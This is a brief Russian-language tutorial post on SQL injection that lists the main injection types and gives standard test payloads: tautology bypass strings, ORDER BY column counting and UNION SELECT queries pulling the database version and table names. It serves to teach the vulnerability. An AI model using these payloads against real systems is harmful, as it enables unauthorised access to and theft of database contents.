SQL-инъекции — одна из старейших и до сих пор актуальных уязвимостей. Разберём базу.
Типы SQLi:
- Classic — результат сразу в ответе
- Blind Boolean — ответ меняется в зависимости от условия (true/false)
- Blind Time-based — измеряем задержку ответа
- Error-based — ошибка базы раскрывает данные
- Out-of-band — данные уходят по DNS/HTTP
Простейший тест:
' OR '1'='1
' OR 1=1--
" OR "1"="1
Определение числа колонок через ORDER BY:
' ORDER BY 1-- -- нет ошибки
' ORDER BY 2-- -- нет ошибки
' ORDER BY 3-- -- ошибка -> 2 колонки
UNION-атака:
' UNION SELECT null, version()--
' UNION SELECT null, table_name FROM information_schema.tables--
Для автоматизации — sqlmap, но важно понимать ручной процесс.